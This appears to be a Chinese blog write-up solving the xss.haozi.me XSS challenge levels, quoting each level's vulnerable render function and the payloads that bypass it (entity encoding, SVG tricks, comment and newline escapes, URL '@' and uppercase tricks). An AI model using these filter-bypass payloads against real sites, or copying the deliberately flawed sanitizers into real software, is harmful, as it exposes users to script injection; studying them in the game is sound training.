Xss Game挑戰


前言

最新學習了下xss的更深入的東西,學習了一波瀏覽器解析機制和XSS向量編碼的知識。

這里就些xss的練習題鞏固知識

學習的話結合如下兩篇文章看,從例子和基礎原理層面都有:

http://bobao.360.cn/learning/detail/292.html

https://xz.aliyun.com/t/5950?accounttraceid=5564cfe1bcf849fd86c4ac5e40e772e7qcnv

最常見的html編碼有:html實體編碼。分為十進制和十六進制

如把尖括號編碼[ < ]  十進制: &#60;  html十六進制:&#x3c;(這里的分號是可以省掉的)

最常見的js編碼有:八進制,十六進制,jsunicode編碼。

如把尖括號編碼[ < ]  八進制:74  十六進制:x3c  unicode:u003c

Xss Game挑戰

項目:https://github.com/haozi/xss-demo

地址:https://xss.haozi.me

自帶alert(1)的js地址:https://xss.haozi.me/j.js

0x00

我這里選擇閉合下div標簽或者可以直接插入<script>alert(1)</script>

function render (input) {
  return '<div>' + input + '</div>'
}

payload

</div><script>alert(1)</script><div>

0x01

如果看了上面的文章可以知道,不能直接在<textarea>標簽中直接插入<script>xx</script>,是不會執行,無效的。這里必須閉合標簽才可以

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

payload

</textarea><img src=x onerror=alert`1`><textarea>

0x02

input標簽中可以使用事件

function render (input) {
  return '<input type="name" value="' + input + '">'
}

payload

123" onmouseover="alert`1`
123" onmouseover="&#97;&#108;&#101;&#114;&#116;&#96;&#49;&#96;

0x03

這里用了javascript中的replace方法,帶/g就是全局替換,會將(和)替換為空

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

payload

<script>alert`1`</script>

這里使用的是Es6中的標簽模板,運用如下

 “標簽模板”的一個重要應用,就是過濾 HTML 字符串,防止用戶輸入惡意內容。

let message =
  SaferHTML`<p>${sender} has sent you a message.</p>`;
 
function SaferHTML(templateData) {
  let s = templateData[0];
  for (let i = 1; i < arguments.length; i++) {
    let arg = String(arguments[i]);
 
    // Escape special characters in the substitution.
    s += arg.replace(/&/g, "&amp;")
            .replace(/</g, "&lt;")
            .replace(/>/g, "&gt;");
 
    // Don't escape special characters in the template.
    s += templateData[i];
  }
  return s;
}

上面代碼中,sender變量往往是用戶提供的,經過SaferHTML函數處理,里面的特殊字符都會被轉義。

let sender = '<script>alert("abc")</script>'; // 惡意代碼
let message = SaferHTML`<p>${sender} has sent you a message.</p>`;
 
message
// <p>&lt;script&gt;alert("abc")&lt;/script&gt; has sent you a message.</p>

標簽模板的另一個應用,就是多語言轉換(國際化處理)。

i18n`Welcome to ${siteName}, you are visitor number ${visitorNumber}!`
// "歡迎訪問xxx,您是第xxxx位訪問者!"

學習自=>https://blog.csdn.net/TSeven37/article/details/82079286

0x04

這次過濾了(),也過濾了`,這樣就用不了模板標簽了的特性了

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

這里百度找了一下,需要用到svg,為了更好了解,發現[CISCN2019 華東北賽區]Web2涉及到svg,於是通過題目又了解了一波=>https://www.cnblogs.com/keelongz/p/12628740.html

svg中是可以字符引用的,這里設計到了上面文章說的數據狀態中的字符引用

payload

<svg><script>alert&#40;1&#41;</script></svg>
<iframe srcdoc="<script>alert&#40;1&#41;</script>">
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">123</a>
補充:繞過()
<a onmouseover="javascript:window.onerror=alert;throw 1">aa

第二個payload運用的也是屬性狀態的字符引用。是H5中iframe的特點,因為h5中iframe的srcdoc屬性,srcdoc里的代碼會作為iframe中的內容顯示出來,srcdoc中可以直接去寫轉譯后的html片段。

第三個payload,照理說是可以的,屬性值狀態的字符引用,然后html解碼->url解碼=><a href="javascript:alert(2)">點擊是可以觸發xss的。但是沒有算✔成功。

0x05

 這里是需要逃逸注釋,但是過濾了-->,替換成了笑臉。

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

注釋符結尾不一定是要-->,可以加上一個感嘆號。比如<!--xxx--!>

payload

--!><script>alert(1)</script>

0x06

這里過濾了auto,還有on開頭=結尾的,以及>,匹配大小寫替換成_。

輸入點在value后

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

這道題參考了下WP,這里是通過換行來繞過的。

payload

onmouseover
=alert(1)

 

0x07

這里匹配了以<開頭,>結尾,中間只要有/或者任意的字符,就會匹配成空。這里也就不能換行了

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

這里看了WP說是利用容錯機制。並且這里可以用//單行注釋掉后面的內容也是可以的

payload

<svg onload='alert(1)'

<img src=x onerror='alert(1)'

<iframe src=javascript:alert`1`//

<iframe src=javascript:alert`1`//也是可以的,但是沒有顯示過關。不過確實可以跳出來

 

0x08

這里把</style>替換成了壞人

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

這里的解體思路就是用+空格或者換行,繞過</style>的替換

payload

</style
>
<script>alert(1)</script>
</style ><script>alert(1)</script>

0x09

這里用test方法檢測input字符串是否匹配正則。必須是https://www.segmentfault.com或者http://www.segmentfault.com

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

這里我直接閉合<script>,然后注釋

payload

http://www.segmentfault.com"></script><script>alert(1)//"
或者參考鏈接中的
https://www.segmentfault.com"></script><svg/onload=alert(1)>//

第二個payload利用了svg的容錯性

0x0A

感覺上升了一個等級,這里將&,',",<,>,/都替換為HTML 實體

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

這里看了下參考鏈接中的WP,發現是通過@來繞過,這在ssrf中可以見到。URI語法->https://segmentfault.com/a/1190000013067553

payload

https://www.segmentfault.com@xss.haozi.me/j.js

Chrome里不算成功,firefox里是算成功。

0x0B

這里toUpperCase() 方法用於把字符串轉換為大寫

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

這里也參照了了一下。發現如下TIPS:

html標簽大小寫無影響;
js嚴格區分大小寫。

所以下一面這一串的小寫是可以執行的,大寫是不行的。只要將alert改為小寫才行

<h1></H1><SCRIPT>ALERT(1)</SCRIPT><H1></h1>

這里有兩種方法繞過,一種是通過屬性值狀態引用,字符實體的繞過,一種是引用外部js。

但是第一種方法,發現鏈接里是J.JS無法獲取,所以不成功

<script src="https://xss.haozi.me/j.js"></script>
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>

0x0C

這里將script替換為空,然后轉化為大寫

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

paylaod

<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;1&#41;>

同上

0x0D

 這里把</"'字符都替換成了空,並且用單行注釋注釋了alert(輸入部分)的內容

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

這里參考鏈接中的方式,通過換行繞過//單行注釋,通過html注釋-->  單行注釋后面內容

payload

alert(1)
-->

 

0x0E

過濾了以<開頭的字符,並且設置了大寫

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

這里基本無法寫入標簽,參考鏈接中通過字符ſ大寫后會變成S,於是可以外鏈繞過,但是自己實現是不行的

payload

<ſcript src="https://xss.haozi.me/j.js"></script>
<ſvg><ſcript>&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;</script></svg>

第二個payload是利用SVG可以執行實體字符的特性繞過

0x0F

 這里過濾的很多,將很多字符都轉化為了實體字符,突破口應該就在return返回的語句中

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

因為這里是在onerror屬性中,可以執行js語句,並且可以容納字符實體。於是這里可以閉合,然后alert即可

payload

');alert(1);//

 

0x10

賦值給window.data

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

直接輸入alert(1)即可彈窗,或者用分號;隔開,或者換行

payload

alert(1)
'1';alert(1)

0x11

 

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

閉合然后分開即可,單行注釋后面內容

payload

");alert(1)//

 

 

0x12

跟上面差不多只不過變成了\\"

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

依舊閉合,然后多加一個\使之符合

payload

\");alert(1);//

 

 

 

 

 

參考鏈接:

http://www.lmxspace.com/2018/08/09/xss-%E6%8C%91%E6%88%98%E8%B5%9B/

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM